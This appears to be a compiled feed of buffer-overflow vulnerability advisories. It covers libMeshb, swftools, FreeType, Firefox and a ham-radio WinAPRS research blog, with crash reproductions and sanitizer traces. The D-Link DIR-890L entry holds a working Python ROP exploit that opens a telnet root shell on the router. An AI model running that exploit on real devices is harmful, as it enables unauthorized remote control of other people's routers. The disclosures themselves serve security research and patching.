libMeshb suffers from a buffer overflow vulnerability. Version 7.62 has been released to address this issue.

=====  
Intro  
=====

libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.

=====  
Repro  
=====

No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.

echo -ne `perl -e 'print "B" x 2176'` > test.mesh

========  
Debugger  
========

(gdb) r test.mesh /tmp/empty.mesh  
Starting program: mesh2poly test.mesh /tmp/empty.mesh

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.  
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt  
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50  
#1  0x00007ffff7ddb859 in __GI_abort () at abort.c:79  
#2  0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155  
#3  0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26  
#4  0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24  
#5  0x000055555555b5d2 in GmfOpenMesh ()  
#6  0x4242424242424242 in ?? ()  
#7  0x0000000000000000 in ?? ()

(gdb) exploitable  
Description: Stack buffer overflow  
Short description: StackBufferOverflow (6/22)  
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1  
Exploitability Classification: EXPLOITABLE  
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.  
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)

This also affects the python wrapper library pymeshb.

>>> import pymeshb  
>>> pymeshb.read('test.mesh')  
*** stack smashing detected ***: terminated  
Aborted (core dumped)

===  
Fix  
===

libMeshb v7.62

- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316

libMeshb Buffer Overflow

libdwarf 0.4.0 has a heap-based buffer over-read in _dwarf_check_string_valid in dwarf_util.c.

CVE-2022-32200: DA's Libdwarf Vulnerabilities

Couchbase Server before 7.1.0 has Incorrect Access Control.

CVE-2021-33504: Alerts | Couchbase

In the code that verifies the file size in the ark library, it is possible to manipulate the offset read from the target file due to the wrong use of the data type. An attacker could use this vulnerability to cause a stack buffer overflow and as a result, perform an attack such as remote code execution.

**KISA 인터넷 보호나라&KrCERT**

\[나주본원\] (58324) 전라남도 나주시 진흥길 9 한국인터넷진흥원 대표번호 : 1433-25(수신자 요금 부담)

\[서울청사\] (05717) 서울시 송파구 중대로 135 (가락동) IT벤처타워 \[해킹ㆍ스팸개인정보침해 신고 118\]

Copyright(C) 2021 KISA. All rights reserved.

CVE-2021-26635: KISA 인터넷 보호나라&KrCERT

An issue was discovered in swftools through 20201222. A heap buffer overflow exists in the function swf_FontExtract_DefineTextCallback() located in swftext.c. It allows an attacker to cause code execution.

**system info**

Ubuntu x86\_64, clang 6.0, swfdump (latest master a9d5082)

**Command line**

./src/swfdump -D @@

**AddressSanitizer output**

\==29246==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61600000ffa0 at pc 0x00000044059d bp 0x7fffffffd270 sp 0x7fffffffd260  
WRITE of size 2 at 0x61600000ffa0 thread T0  
#0 0x44059c in swf\_FontExtract\_DefineTextCallback modules/swftext.c:508  
#1 0x449c46 in swf\_FontExtract\_DefineText modules/swftext.c:532  
#2 0x44a355 in swf\_FontExtract modules/swftext.c:617  
#3 0x40c2dc in fontcallback2 /test/swftools-asan/src/swfdump.c:941  
#4 0x4433c6 in swf\_FontEnumerate modules/swftext.c:133  
#5 0x409208 in main /test/swftools-asan/src/swfdump.c:1296  
#6 0x7ffff68a683f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2083f)  
#7 0x40c168 in \_start (/test/swftools-asan/src/swfdump+0x40c168)

AddressSanitizer can not describe address in more detail (wild memory access suspected).  
SUMMARY: AddressSanitizer: heap-buffer-overflow modules/swftext.c:508 swf\_FontExtract\_DefineTextCallback  
Shadow bytes around the buggy address:  
0x0c2c7fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c2c7fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c2c7fff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c2c7fff9fd0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa  
0x0c2c7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
\=>0x0c2c7fff9ff0: fa fa fa fa\[fa\]fa fa fa fa fa fa fa fa fa fa fa  
0x0c2c7fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c2c7fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c2c7fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c2c7fffa030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c2c7fffa040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
\==29246==ABORTING  
POC  
swf\_FontExtract\_DefineTextCallback\_poc

CVE-2021-42199: heap-buffer-overflow exists in the function swf_FontExtract_DefineTextCallback  in swftext.c · Issue #173 · matthiaskramm/swftools

The LAN-side Web-Configuration Interface has Stack-based Buffer Overflow vulnerability in the D-Link Wi-Fi router firmware DIR-890L DIR890LA1_FW107b09.bin and previous versions. The function created at 0x17958 of /htdocs/cgibin will call sprintf without checking the length of strings in parameters given by HTTP header and can be controlled by users easily. The attackers can exploit the vulnerability to carry out arbitrary code by means of sending a specially constructed payload to port 49152.

**CVE-ID**

CVE-2022-30521

**Information**

**Vendor of the products:**    D-Link

**Reported by:**    WangJincheng(wjcwinmt@outlook.com) && FeiXincheng(FXC030618@outlook.com)

**Affected products:**    D-Link DIR-890L <= v1.07B09

**Vendor Homepage:**    https://www.dlink.com

**Overview**

The LAN-side Web-Configuration Interface has Stack-based Buffer Overflow vulnerability in the D-Link Wi-Fi router firmware DIR-890L DIR890LA1_FW107b09.bin and previous versions.

The function created at 0x17958 of /htdocs/cgibin will call sprintf without checking the length of strings in parameters given by HTTP header and can be controlled by users easily.

The attackers can exploit the vulnerability to carry out arbitrary code by means of sending a specially constructed payload to port 49152.

**Vulnerability Description**

The vulnerability is detected at /htdocs/cgibin.

There is a Stack-based Buffer Overflow vulnerability in the function created at 0x17A60. When we use UNSUBSCRIBE request, it will call the sub_17958 function which created at 0x17958.

However, in the sub_17958 function, it will call sprintf without checking the length of v2, which causes the stack overflow. The v2 here is SID parameter given by HTTP header.

**Poc**

\# python3
from pwn import \*
from socket import \*
from os import \*
from time import \*
context(os \= 'linux', arch \= 'arm')

libc\_base \= 0xb6f7e000

s \= socket(AF\_INET, SOCK\_STREAM)

cmd \= b'telnetd -l /bin/sh;'
payload \= b'a'\*449
payload += p32(libc\_base + 0x18298) \# pop {r3, pc};
payload += p32(libc\_base + 0x406f8) \# mov r0, r1; pop {r3, pc};
payload += p32(libc\_base + 0x390fc) \# pc add r1, sp, #0x2c; blx r3;
payload += b'a'\*4 \# padding
payload += p32(libc\_base + 0x5a270) \# pc system
payload += b'a'\*(0x2c\-8) \# padding
payload += cmd

msg \= b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\\r\\n"
msg += b"Host: localhost:49152\\r\\n"
msg += b"SID: " + payload + b"\\r\\n\\r\\n"

s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(msg)

sleep(1)
system("telnet 192.168.0.1 23")

**Get Shell**

Scan ports before exploit the vulnerability.

Exploit the vulnerability and get shell successfully.

Scan ports again and we can dectect that the port 23 which represents Telnet service has been opened.

CVE-2022-30521: CVE/README.md at main · winmt/CVE

** UNSUPPORTED WHEN ASSIGNED ** An issue was discovered in WinAPRS 2.9.0. A buffer overflow in DIGI address processing for VHF KISS packets allows a remote attacker to cause a denial of service (daemon crash) via a malicious AX.25 packet over the air. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Hackers have been breaching computer system defenses for more than half a century, and the networks they use to exploit those weaknesses have been around for far longer than that. With the internet replacing most wirelines and wavelengths, and with the rise of cybercrime sophistication from petty thieves to organized nation-states, the threat landscape has exploded over the last 20 years. Yet one of the oldest network protocols – amateur or “ham” radio – is still used to this day in emergency communications during times of war and disaster, and to this day can still be used in binary exploitation.

Ham radio evokes an image of old guys turning knobs on vintage, tube radios and talking to other hobbyists about their configurations. Nowadays, radios are getting much more complicated, and with the built-in ability to perform digital communications, the possibilities are almost limitless. You can hook them up to computers to do anything from text messaging and email to sharing images and tracking weather balloons. There’s still something magical about connecting to a device or contacting someone across the planet without being hooked up to the internet or a phone line.

I recently passed the Offensive Security Exploit Developer (OSED) exam and wanted to apply what I’d learned to real-world security problems. I’m always looking for ways to improve my threat modeling, attack simulation, and penetration testing skills, and thought that ham radio would be a fun environment to explore. Amateur radio equipment and frequency spectrums are accessible all over the world and are instructive for a blog series that shows how the vulnerabilities of older technologies can be leveraged with today’s hacking fundamentals. With ham radio as our testing and proving ground, we’ll look at reverse engineering, the creation of custom exploits, and developing skills to bypass security mitigations. We’ll also take a look at writing handmade Windows shellcode and adopting older techniques to more modern versions of Windows.

**Packet Radio**

I've been messing around with packet radio and various digital modes on and off for years and have wondered if any vulnerabilities exist that could allow an attacker to obtain remote code execution through the airwaves. I always thought it was a fun idea to be able to hack a computer that isn't even hooked up to the internet. Many ham programs are written by enthusiasts and are quite old, so it seemed likely that there would be exploitable vulnerabilities. In my research I decided to focus mainly on vulnerabilities that could lead to remote code or command execution, though if I found other vulnerabilities, I didn't ignore them. I also decided to start by focusing on Windows software, since the OSED exam focused on Windows user-mode exploitation and it's where I have the most experience. I started this project with a specific goal in mind: get a remote shell over ham radio.

As a hacker, I am most interested in the various digital modes that ham radio has to offer. There are many, and for my research I decided to focus on software that uses the AX.25 protocol.

"Packet radio" generally refers to a very specific digital mode of operation that uses the AX.25 protocol. AX.25 is a data-link layer protocol (layer 2 of the OSI model). In this mode, data is split into packets and transmitted over the air. AX.25 has support for different packet types and includes modes that are similar to Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) on Ethernet. In some cases, the protocol can do some error correcting, like TCP. Another mode will just send packets out into the air without waiting for any kind of acknowledgement, like UDP. Windows does not have any built-in way to handle AX.25 traffic, so end-user software would have to do this on its own or it must be abstracted away. The Linux kernel has built-in support for AX.25, so you can potentially set up AX.25 network interfaces that have callsigns for addresses instead of IP addresses.

AX.25 is commonly used today for Automatic Packet Reporting System (APRS), Winlink email over ham radio, Bulletin Board Systems (BBS) operations, and more. It seems it is more generally used for a ham to make a contact with a computer, as opposed to making live contacts with other hams. More information about the AX.25 protocol can be found here: http://www.ax25.net/AX25.2.2-Jul%2098-2.pdf

**Automatic Packet Reporting System (APRS)**

The most common use of AX.25 is with the Automatic Packet Reporting System (APRS). Therefore, I decided to focus first on APRS software for this research project. APRS allows hams to transmit telemetry data such as GPS coordinates, weather data, small generic messages, and more. An APRS station can send out a broadcast message, or it can send a message addressed to another specific station. Since the range on the 2m band isn’t that great, APRS stations can “digipeat” the packets out again. This means that if one station receives a packet, it will retransmit it to send it further away. There are also “IGate” systems which are bridged to the internet via the APRS Internet Service (APRS-IS) backbone (http://www.aprs-is.net). This adds extra usability to the APRS system and means you can transmit data globally using the internet if desired. In fact, you can view APRS traffic anywhere in the world at https://aprs.fi and you don’t even need a license to check it out.

How do APRS stations find each other? How does one station find an IGate to bridge to the internet? You can transmit APRS on basically any amateur frequency for which you are licensed, but around the globe each region generally has an allotted frequency where this traffic is used. In the US, that frequency is 144.390 MHz. Just about anywhere in the country you can tune a radio to this frequency and hear data being transmitted at least every minute or so.

APRS is a protocol that runs on top of AX.25, like how HTTP runs on top of TCP. APRS packets make use of the AX.25 unnumbered information (UI) frames. Since I was going to be reverse engineering APRS software, it made sense to examine APRS data frames to understand their structure. AX.25 UI frames look like this:

  
**Image from** **http://www.aprs.org/doc/APRS101.PDF**

In an AX.25 UI frame, all addresses will be ham radio callsigns with an optional SSID appended to them. If your callsign was K7HAX, your address could be something like K7HAX-14. The digipeater addresses field can contain up to eight digipeater addresses to specify the path the packet should take. A digipeater is a radio station that listens for packets and then retransmits those packets to extend the range. The information field contains user-specified data. APRS makes heavy use of this field and it’s likely to be the most interesting field to play with.

The APRS specification allows for various data types, formats, and encodings. Most of this information is stored in the information field of the AX.25 packet. A generic APRS information field structure looks like this:

  
**Image from** **http://www.aprs.org/doc/APRS101.PDF**

The data type specifies what kind of APRS data follows. Options include GPS position, direction finding, weather information, messages, and more. Here’s a real APRS message I pulled from https://aprs.fi:

:Are you working tonight?

The colon denotes that the APRS data contains a message. The rest of the data is just the plaintext message. In this case the APRS data extension and comment fields are unused. Here’s another example:

\=3319.44S/06012.46W# 144.930MHz. SNDigi

The equal sign denotes that the data contains position data without a timestamp. Immediately following that is the actual position data. Between the two coordinates is a forward slash and immediately following the data is a hash symbol. Combined, these symbols would make “/#”. This data tells the receiving station what type of station sent the message and what symbol or icon to use to display the station on a map.

APRS has two tables full of different symbols (car, truck, bicycle, balloon, etc.). The forward slash specifies which table to use. The hash tells which symbol to use in that table. After the hash symbol is some additional message data which appears to list the transmitting frequency and probably the software or device used to transmit (SNDigi). There’s so much more to APRS than just this but it gives a rough idea of how the packets look and what we can expect APRS software to be doing when decoding messages. More information about the APRS protocol can be found here: http://www.aprs.org/doc/APRS101.PDF

Since APRS is probably the most common packet protocol in use today, and there is no shortage of APRS software to choose from, I decided to start my research here. I focused on Windows-based APRS software that was written in C or C++ so I could continue honing my IDA and WinDbg reversing skills.

**Hardware for Packet Radio**

There is a huge number of combinations of hardware to get on the air with packet, but in general you’ll need three main components: a transceiver, a terminal node controller (TNC), and a computer. You use the computer to interact with the various packet radio software you want to use. The transceiver sends and receives the communications over the radio. The TNC is basically a packet radio modem that sits between the two, converting the data into sound. It works similarly to a dial-up modem, but for radio instead of telephone lines. A TNC is typically a little box that’s hooked up to the computer and the radio. A TNC will often have a built-in microcomputer with its own operating system so you can open a terminal and send and receive messages right from the TNC. My TNC has a built-in mailbox where other hams can leave messages. It can decode APRS messages with its own software and display them in a human-readable format via serial console. Here’s a photo of the hardware I’m using for my receiving station:

****

**Keep It Simple, Stupid! (KISS)**

Each TNC make and model has its own set of commands you must use to send packets, and they may display packets differently to the user. The computer software must therefore understand how to interface with each make and model, which is cumbersome. To remedy this, most TNCs support a mode called KISS (Keep It Simple, Stupid). This mode disables all the “smart” features of the TNC and turns it into a dumb modem. The TNC will simply demodulate the signals from the radio and transmit the raw data back to your PC and vice versa. To simplify things, I’ll be placing my TNC into KISS mode for testing and using it wherever possible.

The important bit to know about the KISS protocol is that the TNC will add a 0xC0 control character to the beginning and end of each packet, and it will expect those characters to be there for any outgoing transmissions. There are also a few other special control characters the TNC will watch for, which is important to be aware of when writing shellcode later. These characters would be considered “bad characters” when writing shellcode and must be avoided. A full description of the KISS protocol can be found here: http://www.ax25.net/kiss.aspx

**Choosing an APRS Program**

The aprs-is.net website has a list of some known APRS client software.

Looking over the list, I figured an older client would be the most likely to contain exploitable memory corruption vulnerabilities. Looking at the various options, I found that the WinAPRS download page said it hadn't been updated since January 14, 2013. I figured that was a good sign that the software was likely not maintained and would therefore contain vulnerabilities. I downloaded the latest version (2.9.0) and got to work.

**Next Steps**

The next post in this series will discuss the reverse engineering process using WinDbg. We’ll dive into the nitty gritty technical details of an exploitable memory corruption vulnerability in WinAPRS including how it was found and why it’s exploitable.

CVE-2022-24700: Hacking Ham Radio: WinAPRS – Part 1

ftbench.c in FreeType Demo Programs through 2.12.1 has a heap-based buffer overflow.

**Heap overflow in get\_charset in ftbench.c**

face->num_glyphs can be zero, as a result, first_index and last_index would be -1. Those variables will be used in get_charset function.

       1244
       1245     if ( first_index >= face->num_glyphs )
       1246       first_index = face->num_glyphs - 1;
     ► 1247     if ( last_index >= face->num_glyphs )
       1248       last_index = face->num_glyphs - 1;
       1249     incr_index = last_index > first_index ? 1 : -1;
       1250

In get_charset, variable i would be assigned -1 and this code would access charset->code[-1] resulting out-of-bound access.

    
    #define FOREACH( i )  for ( i = first_index ;                          \
                                ( first_index <= i && i <= last_index ) || \
                                ( first_index >= i && i >= last_index ) ;  \
                                i += incr_index )
    
    void get_charset(){
        ...
        {
          int  j;
    
    
          /* no charmap, do an identity mapping */
          FOREACH( j )
            charset->code[i++] = (FT_ULong)j;
        }
        ...
    

stack trace:

    =================================================================
    ==2736368==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000130 at pc 0x00000050005f bp 0x7fff84c241b0 sp 0x7fff84c241a8
    WRITE of size 8 at 0x602000000130 thread T0
        #0 0x50005e in get_charset /targets/struct/freetype/dbg/freetype-demos/src/ftbench.c:820:28
        #1 0x4fcc28 in main /targets/struct/freetype/dbg/freetype-demos/src/ftbench.c:1420:11
        #2 0x7fb18708b0b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
        #3 0x41f6bd in _start (/targets/struct/freetype/dbg/fuzzrun/ftbench+0x41f6bd)
    
    0x602000000131 is located 0 bytes to the right of 1-byte region [0x602000000130,0x602000000131)
    allocated by thread T0 here:
        #0 0x4c4987 in calloc /fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3
        #1 0x4ffc36 in get_charset /targets/struct/freetype/dbg/freetype-demos/src/ftbench.c:787:32
        #2 0x4fcc28 in main /targets/struct/freetype/dbg/freetype-demos/src/ftbench.c:1420:11
        #3 0x7fb18708b0b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /targets/struct/freetype/dbg/freetype-demos/src/ftbench.c:820:28 in get_charset
    Shadow bytes around the buggy address:
      0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c047fff8000: fa fa 04 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
      0x0c047fff8010: fa fa 00 fa fa fa 00 fa fa fa fd fa fa fa fd fa
    =>0x0c047fff8020: fa fa fd fa fa fa[01]fa fa fa fa fa fa fa fa fa
      0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2736368==ABORTING
    [1]    2736368 abort      ./ftbench -c 1

reproduce steps: ftbench -c 1 ./poc

poc.zip

CVE-2022-31782: Heap overflow in get_charset in ftbench.c (#8) · Issues · FreeType / FreeType Demo Programs · GitLab

This advisory contains mitigations for Protection Mechanism Failure, Forced Browsing, Classic Buffer Overflow, Path Traversal, and OS Command Injection vulnerabilities in Carrier HID Mercury access panels sold by LenlS2.

Carrier LenelS2 HID Mercury access panels

Red Hat Security Advisory 2022-4872-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 91.10.0 ESR. Issues addressed include a buffer overflow vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:4872-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:4872  
Issue date:        2022-06-01  
CVE Names:         CVE-2022-31736 CVE-2022-31737 CVE-2022-31738  
                   CVE-2022-31740 CVE-2022-31741 CVE-2022-31742  
                   CVE-2022-31747  
====================================================================  
1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 91.10.0 ESR.

Security Fix(es):

* Mozilla: Cross-Origin resource's length leaked (CVE-2022-31736)

* Mozilla: Heap buffer overflow in WebGL (CVE-2022-31737)

* Mozilla: Browser window spoof using fullscreen mode (CVE-2022-31738)

* Mozilla: Register allocation problem in WASM on arm64 (CVE-2022-31740)

* Mozilla: Uninitialized variable leads to invalid memory read  
(CVE-2022-31741)

* Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10  
(CVE-2022-31747)

* Mozilla: Querying a WebAuthn token with a large number of allowCredential  
entries may have leaked cross-origin information (CVE-2022-31742)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2092018 - CVE-2022-31736 Mozilla: Cross-Origin resource's length leaked  
2092019 - CVE-2022-31737 Mozilla: Heap buffer overflow in WebGL  
2092021 - CVE-2022-31738 Mozilla: Browser window spoof using fullscreen mode  
2092023 - CVE-2022-31740 Mozilla: Register allocation problem in WASM on arm64  
2092024 - CVE-2022-31741 Mozilla: Uninitialized variable leads to invalid memory read  
2092025 - CVE-2022-31742 Mozilla: Querying a WebAuthn token with a large number of allowCredential entries may have leaked cross-origin information  
2092026 - CVE-2022-31747 Mozilla: Memory safety bugs fixed in Firefox 101 and Firefox ESR 91.10

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
firefox-91.10.0-1.el8_6.src.rpm

aarch64:  
firefox-91.10.0-1.el8_6.aarch64.rpm  
firefox-debuginfo-91.10.0-1.el8_6.aarch64.rpm  
firefox-debugsource-91.10.0-1.el8_6.aarch64.rpm

ppc64le:  
firefox-91.10.0-1.el8_6.ppc64le.rpm  
firefox-debuginfo-91.10.0-1.el8_6.ppc64le.rpm  
firefox-debugsource-91.10.0-1.el8_6.ppc64le.rpm

s390x:  
firefox-91.10.0-1.el8_6.s390x.rpm  
firefox-debuginfo-91.10.0-1.el8_6.s390x.rpm  
firefox-debugsource-91.10.0-1.el8_6.s390x.rpm

x86_64:  
firefox-91.10.0-1.el8_6.x86_64.rpm  
firefox-debuginfo-91.10.0-1.el8_6.x86_64.rpm  
firefox-debugsource-91.10.0-1.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-31736  
https://access.redhat.com/security/cve/CVE-2022-31737  
https://access.redhat.com/security/cve/CVE-2022-31738  
https://access.redhat.com/security/cve/CVE-2022-31740  
https://access.redhat.com/security/cve/CVE-2022-31741  
https://access.redhat.com/security/cve/CVE-2022-31742  
https://access.redhat.com/security/cve/CVE-2022-31747  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYpgd1dzjgjWX9erEAQiwMxAAmZa+buJotqe0AFDVE5ooc1ECPTULONsH  
gB5tT6gtWJ72teJcV9aNmconFkJsQyxUPB41jTcwiBe8pVbbZJnXdtRUhMhEP182  
gxebVvKTOUa8Ce3i2Cw2LkIJzSBbTOocaJX9k7LegXdZa/brbmoDP0G+Ykt63Qh4  
qYoLzpskLRptjqw1RTU7D8qkatn3/9cmVHDgjc+VqT1HCwNxwo87+y4r71j0na9A  
59vB2UbWMpoJ6DNXlQjzgR9D80OSkA4/I5h96O8FrPuqh6pANWs2tHyfK4vhQJnA  
gPGjM0wbWm5doyXP31JGKcld5gnA1+bTrgi9XSKaTGjMiEt5IhWwN99zevnZISAC  
lpD/OO1IG73VIyA5Htj8ZhV2PEPbwIZS1+g8JZml3hiGt2EoSJB5BfPdvilNBtvH  
BsKYd/unfvk5RDC+VzKT1JhhgwZSowjRBrvqoYA1R4UfqnZbJ3wgmuJ/q0g7ggQy  
XupWksXyhQ8txEFnSRrYcYaqCFHW0Y9N5FFhK6K8X7JPALb5KSPDWYgiCU0NPoVN  
xhDWpNha6IKM0vC3582XM5o1K1Zu1HkkppzO2129sHFVBWeLNqelALFApZZUV1nm  
iDgIYH4SZTeyWh0qtiDLwQFxw8BHoA4l5froCMMGWxYw689u1xKc+mNhvKekK1rk  
O8z6gjDLQGA=cQ0/  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#buffer_overflow